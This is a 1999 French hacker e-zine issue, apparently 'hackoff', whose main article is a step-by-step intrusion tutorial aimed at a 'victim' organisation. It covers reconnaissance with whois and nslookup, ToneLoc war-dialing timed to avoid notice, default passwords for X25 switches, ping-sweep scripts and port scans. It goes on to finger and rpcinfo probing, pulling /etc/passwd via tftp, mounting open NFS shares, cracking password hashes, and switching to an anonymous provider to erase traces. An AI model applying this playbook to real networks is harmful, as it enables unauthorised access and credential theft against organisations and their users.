L'acces a ce document impose la lecture de ce (petit) disclaimer :
Tous les blablas ici present ne sont pas responsable de ce qu'ils veulent ou pourraient vouloir dire.
Il peut exister un sens caché derriere les propos tenus par les redacteurs, traducteurs et affabulateurs, un sens caché qui pourrait suggerer subliminalement d'aller semer le chaos dans la belle technique parfaitement reglee de notre beau monde (il est beau hein?)
. Cette eventualite etant peu probable, on peut quand meme envisager que quelques petites erreurs, omissions ou meme defauts de dyslexie se soient malencontreusement glissés dans ce hackoff, et ainsi prematurement présenter nos excucu-usees a ces pauvres petits esprits sensibles que nous serions potientiellement en position de heurter.
Mais c'est vraiment tres peu probable etant donne l'ambiance plutot educative qu'avec le temps prennent nos magazines (surtout pendant le disclaimer).

Au fait ca veut dire quoi disclaimer?
Si je regarde dans le traducteur d'altavista je trouve : 'déni'
Mmmh c'est certainement pas un tag html ni une commande C donc ca ne peut etre qu'un mot francais, aucun doute la dessus.
Bof je suis pas plus avancé. Alors je remets un petit coup de traducteur dans l'autre sens, on sait jamais et voila ce qu'il me sort : 'refusal'
Mais vu que je comprends toujours pas le sens de ce mot, je repasse encore dans l'autre sens (houla, on sait pas ou ca peut arriver) : refus.
Okay ce mot la je comprends, par contre je comprends vraiment pas ce que ca peut venir foutre en haut de tous les magazines underground. Affinons la recherche (la methode est trop scientifique) en posant directement la question au moteur altavista.
Reponse :

Disclaimer :
A statement made to free oneself from responsibility.
Also called hedge clause.

Au traducteur ca donne

Déni:
Un rapport a fait pour se libérer de la responsabilité.
Clause de sauvegarde également appelée.

Mais pas con que je suis j'ai retenu la lecon de la premiere couche qui veut rien dire, alors on repart pour la deuxieme couche :

Refusal: A report/ratio made to be released from the responsibility.
Also called safeguard clause.

Et retour au francais :
Refus: Un report/ratio fait pour être libéré de la responsabilité.
Clause de sauvegarde également appelée.

Finalement j'ai bien compris, merci altavista. Donc je vais la refaire en vrai :

Refus

Ce report/ratio pour dire que je suis libéré de la responsabilité de vos yeux sur ces lignes, parce qu'il ne s'agit pas des miens. A bon entendeur salut.

Tobozo

function Edito()

Bah tristesse on vous avait prepare un article beton sur ICQ et comment creer des paquets pour bien gruger le serveur mais ils ont deja mis au point une parade : on peut plus changer son mot de passe ICQ a partir de linux... boarf. En tous cas c'est bon signe s'ils changent leur config a cause d'un OS sachant qu'ils ne levent pas le petit doigt pour empecher que les utilisateurs krosoft se fassent visiter leurs disques durs. Alors du coup plus d'article et me voila en train de pondre un edito de plus -=#~
Cependant une constatation s'impose : la savate n'est plus ce qu'elle etait et pourtant elle continue de s'installer. Est ce du a une forte augmentation de la gravitation locale ou a un dereglement des mesures indicatrices standard ?
Deux enigmes probablement irresolubles sans l'aide spirituelle d'un guru averti.
Justement en parlant de gurus, ils se sont reunis en force dans ce numero-ci, certains avant, certains pendant et d'autres apres (leurs vacances) pour nous pondre un melange coriace a potasser pour la rentree.

Tobozo

Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System

Intrusion et securite
Ce texte a ete créé
a partir d'archives
trouvées sur le net

Ce document a pour but de vous initier à l'intrusion dans un système informatique et ce, dans un but purement educatif. On considere ici que l'intrusion est un pas a franchir dans le chemin qui mene a la notion de securite informatique.

• Vous n'y trouverez aucune formule magique pour modifier votre compte bancaire ou hacker un site web ...

• Nous précisons que le terme hacker est employé dans un contexte d'exploration et de decouverte et non pas dans un contexte mediatique ou legislatif.

• Ce document n'a pas la pretention de tout connaître, d'ailleurs nous attendons de votre part des remarques et des suggestion, sa vie est de courte durée, au vu de l'intense activité qui se déroule actuellement dans ce secteur. C'est pourquoi il sera mis a jour a chaque nouvelle information que nous recevrons.

Depuis quelques temps, c'est la sérenade dans la presse informatique et nationale sur les nouveaux 'hackers', pardon 'consultants en sécurité' serait plus adéquat, qui font des essais d'intrusions, ils sont rénumérés pour hacker et tester la securité informatique ! Derrière le terme 'hacker' il y a des competences en techniques simples : une bonne connaissance de l'informatique TCP/IP, Unix, un ou deux langages de programmation (de preference C et Perl) et un esprit souple.

La Technique de l'intrusion demande surtout de savoir lire les faq des groupes de hackers américains, puisqu'il n'en existe pas réellement en français. Pour le plaisir des petit et des grands, nous allons découvrir le monde merveilleux de l'intrusion.

Approche

• RTC pour détection de porteuse et de modems non déclarés
• X25 pour essayer de trouver des accès gros systèmes SNA/DSA ou decnet, ou des routeurs IP/X25
• Internet pour détecter les points d'entrée

1. la récupération d'un maximum d'adresses IP, de numéros de téléphone, de numéro X25, d'adresses e-mail, etc. et d'infos de configurations (voir hackoff3 sur le 'Social Engineering')
2. l'utilisation des infos recueillies lors de la phase 1 pour accéder à des machines et/ou des réseaux de la victime
3. l'attaque des machines

Préliminaire : Le matos

Il faut disposer des équipements suivants :

• un modem RTC classique,
• une carte X25/X32, l'abonnement correspondant, les couches TCP/IP, PAD, etc. ainsi qu'un kit de développement TCP,
• une carte NUMERIS

Phase 0 : récupération d'outils et configuration des machines

Les outils sont différents selon les axes d'attaques et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS le plus simple pour réaliser ce type d'opération car la quasi-totalité des outils sont standards et peuvent être automatisés dans un shell script.

Attention : Autant, il est " facile " de communiquer vers un provider sous W3, W95 et Windows NT, autant cela n'est pas simple sous LINUX.

Axe RTC

Outils standard

Emulateur de terminal	Chez www.tucows.com
Emulateur Minitel	En general fourni avec le modem (voir site constructeur)

Outils spécifiques

Dialer TONELOC	Automate d'appel d'une plage de numéro et détection de porteuse (fax ou modem)
Dialer NUAA	Automate d'appel de réseau X25 en particulier SprintNet.
Pabxhack	Comme son nom l'indique, outil de hacking de pabx.

Dispo en telechargement sur des sites underground repondant au mot-clé phreaking dans les moteurs de recherche.

Principe de base

Ce qui distingue cette phase de la suivante, c'est que toutes les opérations réalisées sont totalement licites. Il ne s'agit que de récupération d'informations disponibles sur Internet ou ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels des plages d'un autocom) sont limites.

Source d'informations "ponctuelles"

Les sources d'informations ponctuelles peuvent être multiples (carte de visite obtenues de différentes manières (visite commerciale chez la victime, annuaire, Minitel, informations recueillies par echanges, etc.). Elles ont pour objectif de récupérer :

• des numéros de téléphone (même préfixe Tel et Fax ==> Plage de n° PABX pour le dialer)
• des adresses E-Mail ( connectivité internet + nom de domaine)
• des adresses Internet (nom de machines et @IP)
• des adresses X25 (C'est la seule source pour les @X25)
• des informations plus générales sur la victime, ses interconnexions, etc.

Axe Internet

Les sources d'informations techniques peuvent être soit immédiatement obtenues par des informations "publiques" sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en fonction des résultats du chapitre précédent.

Récupération d'informations par internet

Récupération des adresses IP officielles dans l'annuaire DNS avec "whois", "nslookup" et "dig ". Utilisation des vecteurs classiques (moteurs de recherche, news via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des domaines de messagerie ou des serveurs web.

1. L'annuaire DNS mondial

• Whois
  
  Whois est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs . L'outil "whois" est disponible sous Linux (filewatcher.org)
  Avec cet outil, on peut :
  • lui passer une chaine de caractère et il vous sort la liste des noms de domaine DNS commencant par cette chaine de caractère . A partir de ces noms de domaines, il faut faire une seconde recherche pour avoir des informations plus précises,
  • lui passer une adresse de réseau de classe C, B ou même A (192.93.10.0 ou 141.29.0.0 par exemple) pour savoir à qui elle est allouée.

Un nombre important d'adresses IP européennes est aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net" permet de récupérer des infos mais il n'est pas aussi souple sur les caractères de substitutions que celui d'internic.

mettre un exemple de whois

Selon les cas, on trouve soit des adresses IP de réseau (le pied) soit des noms de réseaux. Si on obtient des noms de réseaux uniquement, il y a de forte chance pour que le site ne soit pas directement connecté à internet mais uniquement via un provider et en connexion à la volée

A contrario, ce n'est pas parce que l'on obtient une adresse IP que la société est réellement connectée sur Internet. Elle peut avoir simplement réservé cette adresse pour un usage futur.

On doit donc utiliser dans cet outil :

• le nom de la société et de ses filiales (ou des noms intermédiaires),
• les noms de réseaux et de machines identifiés lors de la phase de récupération d'informations ponctuelles (e-mail, news, etc.),
• les adresses de classe C ou B pour savoir à qui elles appartiennent (en les suffixant de 1 ou de 2 zéro.)
L'usage de l'outil est bien entendu récurant en fonction des nouvelles infos dont on peut disposer.

Remarque :
Dans certains cas lorsque l'on cherche à qualifier l'appartenance d'une classe C ou d'une classe B, le site standard (rs.internic.net) nous fournit des plages d'adresses en précisant que ces plages ont été allouées à des organismes autres (plages RIPE en europe par exemple). Dans la plupart de ces cas, il est précisé un autre site qui donnera des informations complémentaires (whois.ripe.net par exemple).

• Netfind
Netfind est un outil disponible sur le site internic et accessible en HTTP via une URL gopher. Netfind permet d'effectuer des recherches sur les domaines de messagerie. Ces recherches sont complémentaires de celles réalisées avec Whois. L'URL à accéder est :

gopher://ds1.internic.net:4320/7netfind%20dblookup

C'est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs .

• Nslookup
"nslookup" est l'outil de base UNIX pour récupérer des informations au travers de DNS lorsque l'on connait le nom DNS de la machine ou son adresse IP. Il permet d'obtenir différents types d'informations en paramétrant la demande. L'objectif de son usage est d'obtenir des adresses IP là ou whois nous avait donné des noms de réseaux d'une part et d'obtenir des informations permettant de relancer un whois sur les passerelles de messagerie identifiées dans les e-mail. "nslookup" est disponible sous plusieurs OS. Il est par contre rarement paramétrable sous Windows NT ou 95. J'utilise donc les versions Windows pour des requêtes simples et UNIX pour les requêtes plus détaillées. La requete de base nslookup permet de récupérer l'adresse IP d'une machine (ou d'un nom de réseau) dont on connaît le nom. Cela s'obtient sous unix en mode commande en lancant :
• nslookup nom_de_machine
Nslookup permet d'autres informations en utilisant le paramétre "-query". La commande est alors :
• nslookup -query=xxxx nom_de_machine
ou xxxx peut prendre les valeurs (je ne détaille que celles que j'ai utilisées) :

 A		valeur par défaut, adresse/nom DNS ou inverse

 MX		informations sur le serveur de messagerie (issu des e-mail)

 UINFO		information sur les utilisateurs (jamais de réponse !)

 HINFO		information sur le type de HOST (s'il est déclaré)

 MINFO		information sur le mail server et la mailbox (s'il y en a)

 WKS		les well-knowns servis sur la machine (s'ils sont déclarés)

 TXT		un texte complémentaire s'il en existe un

Les autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY (qui ne marche pas). Pour plus de détail, cf. Man nslookup et rfc1035.

Remarque :
nslookup renvoie soit une adresse IP (passage au point suivant), soit un message d'erreur du type "host unknown'", la machine ou le réseau ne sont pas connecté sur internet, ou un message d'erreur du type "no record Adress (A) dispo". Il s'agit alors très fréquemment d'une passerelle de messagerie dont on obtient les caractéristiques via le paramètre "-query=mx".

(liste trouvée par exemple à "http://ireste.ireste.fr/moteurs/" ou directement sur l'un des moteurs (www.yahoo.fr, www.lycos.com, etc.). On cherche alors le nom de la société pour identifier les endroits ou elle est citée sur le net. On obtient alors soit des noms de sites WEB, soit des noms ou des e-mail d'utilisateurs de la société.

3. Les news

dans lesquelles des personnes de la société ont pu déposer des demandes ou effectuer des réponses. les news sont par exemple accessibles au travers d'un site web comme "www.dejanews.com".

4. Les annuaires d'email.

Aujourd'hui nous utilisons :
• www.four11.com qui permet de rechercher les utilisateurs ayant ne email par société (il y a un champ société dans la grille de saisie des paramétres de recherche). On obtient une liste d'emails dont on extrait le domaine :

Joseph Abdallah                            @lanl.gov
    CURRENT ORGANIZATION:  T-4 Atomic And Optical Theory
 Raj Acharya                                @vaxd.gat.com
    CURRENT ORGANIZATION:  General Atomics

• "http://www.nova.edu/Inter-Links/netfind.html" permet d'obtenir la liste des domaines de messagerie d'une société en passant en paramètre "* Nom_de_société". On obtient une liste des domaines d'email. Sous la forme :
Nom_du_domaine_de_messagerie Nom & adresse de la société correspondante
• une fois cette phase terminée, il faut retourner à la phase 1 pour vérifier si les domaines de messagerie sont reliés à des domaines DNS (via whois) ou à des machines IP (nslookup standard) ou enfin à des passerelles de mail uniquement (via nslookup -query=mx). On qualifie ensuite toutes les adresses obtenues pour savoir si elles appartiennent ou non a la victime (whois sur l'adresse de réseau de classe B ou C).
Attention :
Les domaines d'email sont surement l'un des moyens les plus efficaces pour trouver des adresses gérées par des providers ou des sites qui n'ont pas le nom des sociétés de la victime dans leur nom.

Axe RTC : Recherche de Modem

Utilisation du dialer MSDOS TONELOC pour détecter les porteuses de modems.

Une recherche de modem peut être envisagée dès lors que l'on connaît des numéros ou des plages de numéros correspondant à la société cible. Cette méthode ne garantit aucunement l'exhaustivité de la recherche puisque les modems sont souvent accessibles au travers de numéros analogiques qui ne sont pas gérés par le PABX. Une recherche plus efficace peut être envisagée en parcourant exhaustivement les plages utilisées sur le site géographique de la cible. Il est par contre impossible dans ce cas d'être sûr que les numéros sur lesquels une porteuse est détecté appartiennent bien à la cible. Cela pose un problème financier (si des particuliers sont appelés, ils décrocheront et la communication deviendra payante).

Les contraintes

Le coût
Le coût d'un appel qui aboutit est a priori faible. Le nombre d'appels peut cependant conduire à un coût global important. Et ceci d'autant plus s'il s'agit d'appels longue distance. On peut dire qu'un appel aboutit dès lors qu'il y a décrochage à l'autre bout de la ligne : une personne, un modem ou un fax, un répondeur. La durée de la communication peut être variable suivant l'équipement qui décroche. Il est dans tous les cas probable qu'il y ait raccrochage avant d'atteindre une minute. Les communications vers certains pays peuvent quand même atteindre 20F / minute. Pour minimiser le coût, il est donc souhaitable d'avoir le moins possible de décrochages, et notamment de décrochages par des personnes (qui contrairement aux machines peuvent trouver ça louche). Ceci conduit à privilégier des compositions de nuit, ou de jour lorsqu'il n'y a personne , c'est à dire samedi, dimanche, ou les jours fériés.

Le temps
Pour chaque numéro appelé, il faut compter le temps de composition du numéro, et le temps d'attente avant raccrochage (durée au bout de laquelle on estime qu'il n'y aura pas de réponse). Sur la base raisonnable d'une trentaine de secondes pour chaque numéro, il est possible de composer une centaine de numéros à l'heure, soit de l'ordre de 1200 numéros entre 19h et 7h.

garantie de résultat
L'exhaustivité des identifications (dans la limite des plages auxquelles on applique la recherche) est dépendante

• de la bonne détection de l'éventuel plantage du modem
• du fait que les modems que l'on recherche ne sont pas éteints manuellement (extinction), automatiquement (programmation horaire de l'alimentation électrique) ou logiciellement (programmation du modem par la machine à laquelle il est relié pour qu'il ne réponde pas aux appels),
• de la configuration nocture du PABX, qui peut en fonction de l'heure dérouter les appels vers le standard (pour toutes les lignes ou pour certaines seulement), ou rendre certains numéros inaccessibles.

Utilisation de toneloc

Ce programme sait gérer le parcours automatique de plages de numéros, en identifiant des porteuses ou des tonalités. La deuxième fonctionnalité est probablement inintéressante en France, au moins dans notre contexte. Une présentation rapide du paramétrage de ce produit est fournie en annexe 1.

Caractéristiques
La définition d'une plage est faite en adjoignant un ou plusieurs X à un préfixe, et en spécifiant pour les chiffres manquants des valeurs de départ et de fin. Il est possible de définir des contraintes horaires pour l'exécution de toneloc. Les commutateur /s et /e permettent en effet de définir une heure de début et une heure de fin. Toneloc lancé avec l'option /s attendra l'heure spécifiée pour composer le premier numéro, sauf si la touche Esc est tapée. Le programme arrêtera de composer des numéros dès qu'il aura dépassé l'heure spécifiée avec le commutateur /e, et ne composera aucun numéro s'il est lancé alors que cette heure est dépassée. Attention cependant au cas où l'on spécifie une heure d'arrêt dans la matinée pour un programme lancé le soir. Il semble en effet que, l'heure nocturne étant postérieure à l'heure d'arrêt (prise dans la même journée), que le programme ne se soit pas exécuté plusieurs fois. Toneloc sait prendre en compte une liste noire dans laquelle on recensera les numéros qui ne doivent pas être composés (celui du standard pourrait y être mis systématiquement, ce qui évite qu'un gardien ne s'étonne la nuit) Le parcours peut être incrémental ou aléatoire, cette seconde option réduisant les risques de détection (cela aura tendance à sonner dans n'importe quel endroit du site, et pas deux fois de suite sur des postes situés au même endroit). La configuration de Toneloc est gérée par un outil tlcfg. On y configure notamment les chaînes d'initialisation du modem, le numéro de port utilisé, le délai avant raccrochage et le format plus ou moins prolixe d'enregistrement des connexions réussies.

Toneloc produit trois fichiers différents lorsqu'il s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé des porteuses, sinon deux fichiers seulement). Ce sont :

• tone.log : log des essais, avec en-tête, notification des porteuses éventuelles, et bilan,
• found.log : enregistrement de ce qu'envoie le modem distant (bannière par exemple) sans, puis avec titillement (envoi de caractères par toneloc), des caractéristiques de la connexion, et le cas échéant du nombre de secondes écoulées avant coupure de la communication
• préfiXXX.dat, au format binaire, qui permet une visualisation par tonemap des résultats concernant la plage parcourue, et qui est utilisé par toneloc pour ne pas recomposer un numéro déjà appelé.

Limitations de toneloc :

• Il a été constaté que toneloc ne détecte pas les porteuses de certains fax. le faible nombre de modems recensés pourrait laisser penser qu'il en va de même pour les porteuses de certains modems.
• Les capacités de détection sont clairement dépendantes des caractéristiques du modem utilisé (un modem V32 ne détectera pas bien la modulation d'un V34bis si ce dernier ne connecte qu'à 33600 bps).
• Indépendamment de cela, il n'est pas impossible que les détections soient fonction du modèle de modem utilisé. De ce fait, l'utilisation de modems différents pourrait permettre un meilleur recensement, au prix toutefois d'un multiple parcours des plages.
• L'existence de numéros à taille variable dans certains pays, comme l'Allemagne, pose un problème avec toneloc.
• Il semble que le programme de fusion de deux .DAT relatifs à la même plage ne soit pas complètement fonctionnel. Il faut donc réutiliser les mêmes .DAT lorsque l'on parcourt des plages contiguës.

Astuces sans garantie

1. privilégier les jours fériés car il est plus vraisemblable qu'il ne soient pas gérés différemment des jours ouvrés par le PABX
2. privilégier les périodes de vacances.

A l'issu de ce travail (souvent répétitif environ 10000 appels pour 6 modems par exemple), on dispose donc de porteuses de modem(s). Ces porteuses vont pouvoir ensuite être accédées pour vérifier si le modem accepte les connexions entrantes.

Axe X25

Principe de base

Attention, à partir de cette phase, toutes les opérations effectuées peuvent être interprétées à la limite comme une tentative d'intrusion. Elles ne sont par contre pas vraiment punissables par la loi.

Axe Internet

On dispose à l'issue de la phase 1 d'adresse IP de réseau ou de machines.

1. vérifier qu'elles sont actives et qu'elles donc répondent au ping

• Ping

• Une version très rapide et simple. On crée une liste d'adresse sous vi, puis on écrit un mini-shell du type :

 for i in `$1`
 do
    ping -c 2 $i >> resultat &
    sleep 1
 done

Son principal inconvénient est de ne pas trier les résultats et de ne pas générer le fichier de base des adresses.

• L'autre version, elle necessite la présence dans le répertoire courant d'un fichier 1-255 contenant 255 lignes numérotées de 1 à 255. Elle prend en paramétre le nom du fichier résultat et de la plage d'adresse à analyser. Elle s'appuie sur un shell script du type :

 echo " "           >  $1
 for i in `1-255`
 do
    echo $2.$i      >> $1
    ping -c 2 $2.$i >> $1
 done

Son principal inconvénient est de devoir être lancée en arriere plan pour gagner du temps et de générer un fichier résultat par adresse de classe C. Les différentes variantes sont liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit dans l'affichage des informations à l'écran avant de les stocker dans le fichier résultat (| tee -a ...)

ATTENTION, les schells scripts lancés en arrière plan ne doivent pas afficher de message donc eviter celui contenant les "tee".

L'exploitation des résultats peut-être réalisé soit à la main en visualisant le fichier (fastidieux) soit par des greps +/- automatisés. Je me suis arrêté à une suite de grep du style :

• grep " 0%" $1
• grep " 20%" $1
• grep " 40%" $1
• grep " 50%" $1
• grep " 60%" $1
• grep " 80%" $1

A la fin de cette phase, on est normalement à même de savoir si certaines machines de la victime sont accessibles sur Internet.

Attention, si une machine répond sur un sous-réseau, il est intéressant de repasser le ping sur toute la plage plusieurs fois. En effet, certaines machines peuvent ne pas avoir été branchées lors du premier passage ou n'avoir pas répondu à cause du time-out faible. Il faut également tenir compte du décalage horaire si nécessaire.

2.Regarder quels sont les services réseaux accessibles sur ces machines.

Les outils d'intrusion

tcp_scan et udp_scan sur les machines actives pour identifier les services disponibles Utilisation des couches actives publiques pour recueillir des informations (rpc, nfs, finger, ftp anonyme, smtp via telnet sur le port 25, etc.)

Cette opération peut s'effectuer à la main ou à l'aide d'outils complets comme SATAN, Nessus ou NMAP.

• recherche des ports accessibles (tcp_scan et udp_scan).

• tcp_scan @IP_machine 1-65535 > resultat_machine
• udp_scan @IP_machine 1-65535 >> resultat_machine

 On obtient alors la liste des services actifs tant en tcp 
 qu'en udp sous une forme du type :
 80:http
 23:telnet
 ...
 Certains services sont particuliérement utiles. 
 Il s'agit dans un premier temps de :
 69 : tftpd qui peut parfois permettre de récupérer
            le fichier /etc/passwd (récupérable uniquement
            avec udp_scan
 79 : fingerd qui permet d'obtenir des informations
            sur le site et les utilisateurs connectés
 80 :	httpd qui signifie que le site dispose d'un site web.
            L'accès à ce site web est un des moyens le plus sûr 
            de s'assurer que l'on attaque bien le bon site.
 111 : Le port mapper, la machine accepte des appels RPC 
            (NFS, YP, etc. sont interessants pour la suite)

Dans un second temps, des services comme smtp, telnet, ftp et rlogin permettent de se connecter à la machine.

• recherche d'informations si un port 79 (finger) est présent :

• finger @IP_machine

 Welcome to Linux version 2.2.7 at rasta.legang.fr !
 
   3:05pm  up 5 min,  3 users,  load average: 0.16, 0.13, 0.08
 
 Login       Name               TTY         Idle    When    Where
 toto     -  albert	      console        1  Thu 12:37  :0                  
 titi     -  Titi rené         pts/2         13 Mon 09:04  192.93.xxx.xxx      
 demo     -  Demonstration     pts/4         18 Mon 09:09  192.93.yyy.yyy      
 ...

• Le nom d'utilisateurs déclarés dans le /etc/hosts sur la machine,
• les machines a partir desquelles ils sont capables de communiquer avec la machine (ce qui nous donne d'autres @IP et donc une indication sur la connectivité de la machine vers un réseau interne et de nouvelles cibles => retour au nslookup pour les qualifier puis au ping),
• des infos complémentaires parfois sur le type de machine (linux) son nom DNS/interne (rasta.legang.fr) , etc.

• finger nom_user@IP_machine

Welcome to Linux version 2.0.0 at rasta.legang.fr !
 
   3:10pm  up 10 min,  4 users,  load average: 0.04, 0.09, 0.07
 
 Login: test           			Name: test passwd
 Directory: /home/test               Shell: /bin/bash
 On since Wed Jul  9 15:08 (MET DST) on tty3   1 minute 9 seconds idle
 No mail.
 Project:
 Je travaille sur le projet X
 No Plan.

Toutes les informations sur le champ gecos, les projets sur lesquels travaille l'utilisateur peuvent être utilisées dans une phase ultérieure d'agression. Parmi les utilisateurs, certains doivent être remarqués. par exemple, les utilisateurs "guest" ou "demo" qui n'ont fréquemment pas de mot de passe ou les comptes de produits (ingres, informix, etc.) qui ont fréquemment des mauvais mots de passe.

• Récupérer des informations sur les RPC disponibles si le port mapper est lancé

• rpcinfo -p @IP_machine

 program vers proto   port
     100000    2   tcp    111  portmapper
     100000    2   udp    111  portmapper
     100005    1   udp    704  mountd
     100005    1   tcp    706  mountd
     100003    2   udp   2049  nfs
     100003    2   tcp   2049  nfs

• Récupérer des informations sur les partitions NFS exportées

showmount -e @IP_machine
 Un résultat du type :
 Export list for 127.0.0.1:
 /home (everyone)

• Se connecter sous ftp en connection anonyme et regarder ce que l'on trouve comme infos.

ftp @IP_machine
user      anonymous
...  entrer votre E-Mail comme mot de passe ...
password  guest 

Remarque
Ici, je vous ai présenté différentes technique pour l'intrusion il en existe des centaines, souvent ephémères leur solution réside souvent dans l'application d'un patch, pour les secteurs d'actitvités qui possèdent un administrateur orienté sécurité, la porte est ouverte quelques heures. Et pour d'autres c'est portes ouvertes tous les jours ! Pour connaitre les dernières failles, une culture des DOS (Denial of Service) que je traduirai par trou de sécurité, doit se faire par une consultation des sites sur le sujets (www.antionline.com, www.rootshell si il vit encore... voir liens sur le site)

Axe X25

Les moyens d'accès à un réseau X25 sont variables :

1. PAD public de TRANSPAC
2. PAD privé de la cible
3. PAD via X32
4. accès X25 natif via LS
5. accès X25 natif via Transpac
6. accès X25 natif via X32 par le RTC
7. accès X25 natif sur le canal D Numéris

• l'accès au travers d'un PAD public en facturation au demandé,
• l'utilisation de notre accès X32 en facturation au demandeur (avec la possibilité sur cette carte de valoriser un champ USERDATA, d'utiliser IP sur X25 (non qualifiée), d'utiliser du PAD sur l'accès X32, de développer grace à l'API de la carte).

Nous sommes donc a priori capable d'émuler les moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible (c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen des accès dont nous disposons, il est possible d'atteindre (suivant leur configuration) des commutateurs, des routeurs ou des machines terminales. Il est possible également en spécifiant le contenu du champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD

• connexion au PAD (ex 0836044444, 7E1)
• éventuellement contrôle des paramètres : (PAR?), et modification si nécessaire (SET X:Y pour changer)
• saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement

• La carte X32 est configurée . Il faut donc dans un premier temps lancer les services de réseau
• Ensuite au travers de l'icone "test X25", on peut essayer différents types de connexions
• Saisie d'une adresse Transpac ou d'une adresse avec des données utilisateur au format adresseDdonnées et avec 16 caractères de données seulement

Existence du correspondant
 	Si ce n'est pas le cas, message CLR NP YYY
 appartenance au GFA, effectué par le dernier commutateur TRANSPAC
 	message CLR NA YYY
 inhibition du PCV
 	message CLR RNA YYY

Les commutateurs X25 ont en général un configurateur accessible en PAD
Si l'on ne fournit pas de sous adresse, le comportement dépend de la configuration du commutateur et de leurs caractéristiques par défaut

marque	sous adresse	mot de passe	divers
matracom		gsy91	faire ^U pour voir la bannière
OST	9, 99, 999	bonjour ou hello
TRT	Souvent des 9	CCLAER	prompt = "*"

Quelques infos sur les commutateurs TRT, en vrac :

• ils gèrent jusqu'à des sous adresse de 4 chiffres, de taille fixe
• il y a padding à droite avec des 0, ou troncature des digits surnuméraires à droite
• pas d'écho du mot de passe
• divers services sont accessibles suivant le contenu du champ USER DATA
  • 10CC configurateur
  • 00GG générateur
  • 14SS statistiques
  • 04OO observation
  • O2EE événements remarquables
  • 12MM télémaintenance

Accès à des routeurs

En connaissant les adresses de deux routeurs communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni de contrôle de l'adresse de l'appelant, il doit être possible de se faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci donne donc un accès au réseau IP, et permet de plus d'usurper les adresses IP

Il est plus que vraisemblable que ceci ne soit réalisable que lorsque le routeur que l'on usurpe n'est pas en communication avec le routeur cible.

Quelques réserves (à valider) sont cependant à émettre. Il semble en effet que dans le cas des routeurs CISCO, les échanges se fassent sur des circuits virtuels ditincts, le routeur appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci pourrait peut être contourné en modifiant la configuration de la cible via SNMP.

La fraude dans le cas de SNA sur X25 semble encore plus complexe, car il est impératif de disposer d'un accès licitement défini dans la VTAM list, faute de quoi la communication ne saura s'établir.

Analyse des informations présentes dans la configuration d'un routeur

La connaissance de sa propre adresse X25 est probablement impossible, puisqu'il n'y a pas de raison qu'elle soit mentionnée dans sa configuration.

Par contre, si l'on a accès aux configurations de deux machines communiquant l'une avec l'autre à travers X25 en faisant de l'encapsulation, il doit être possible de déperminer les adresses X25 de chacune des deux :

• en regardant le routage au niveau de chacune des deux machines,
• en recherchant des correspondances d'adresses (par exemple IP et X25) à corréler avec la connaissace des adresses autres qu'X25 qui correspondent à chacun des deux équipements.

Phase 3 : Axe Internet

On dispose à l'issue de la phase 2 d'adresses IP de réseau ou de machines accessibles.

Il n'existe pas de méthode toute faite pour le hack, chaque hacker detient son experience, c'est souvent à partir ce cette limite qu'il découvre son talent ou pas. A partir de cette étape tous ce vous pouvez faire est considéré comme illicite par la loi.
Il existe des techniques d'approche, je vous ai présenté la ligne directrice vers le hack de base, cette méthode présente un danger, celui de la trace laissée par les différents outils utilisés (la qualité d'un bon hack, va se lire à sa tracabilité):

• Pour commencer lancer les outils d'analyses :
• SATAN (semble être remplacé par SAINT) ou Nessus (pour plus d'informations voir le hackoff7).
• ISS version freeware. Il fait tellement peu de chose que ce n'est même pas la peine de le lancer.
• ISS en version commerciale => pour ceux qui l'ont acheté...
• NAT10 qui est un outil pour récupérer des infos sur les machines supportant netbios.

A partir de cette étape, nous detenons un premièr audit du réseau: machines par IP, type d'OS, les ports ouverts, et les eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil laisse des traces et il existe des logiciel pour répérer des tentatives d'intrusions, il est préférable de se deconnecter et de se faire attribuer une IP différentes, chez un provider gratuit avec une identité inconnue (www.vunet.com)

La suite :

• utiliser les DOS et toutes les bug connus, identifiés en phase 2 :
• tftp pour rapatrier /etc/passwd, /etc/hosts, etc.
• partition NFS montable pour tous,
• NIS accessible,
• etc.
• se connecter à la machine au travers des émulateurs comme telnet, rlogin, etc.

• telnet @IP_machine

• rlogin -l user @IP_machine

• Satan, Nessus, saint

1. vérifier s'il n'existe pas un compte "guest", "demo", etc. sans mot de passe (rlogin ou telnet),
2. vérifier si la machine n'accepte pas tftp,
3. vérifier s'il n'est pas possible de monter par NFS une partition utilisateur (showmount),
4. vérifier si le client n'utilise pas NIS (ypxxxx dans rpcinfo) et récupérer alors les tables NIS (la méthode n'est pas encore très claire et n'est pas compilable sous linux qui ne supporte pas NIS => machine UNIX type SUN).

• on se connecte, on recherche une faille système (.rhost, hosts.equiv, etc.),
• on rapatrie le fichier /etc/passwd, s'il n'est pas en mode C2, on y trouve les mots de passe chiffrés => on peut le casser avec le logiciel cracker, sinon on y trouve quant même la liste des utilisateurs et le champ commentaire associé (voir divination du mot de passe).

• on se connecte par tftp sur la cible,
• on tente de rapatrier le fichier /etc/passwd, s'il est accessible, soit il contient les mots de passes chiffrés (passage du cracker), sinon la liste des comptes (divination),
• on peut également voir quels sont les autres fichiers qui peuvent être accédés.

• on monte la partition sur notre machine par la commande "mount / ". A priori, cette commande est une commande UNIX uniquement.
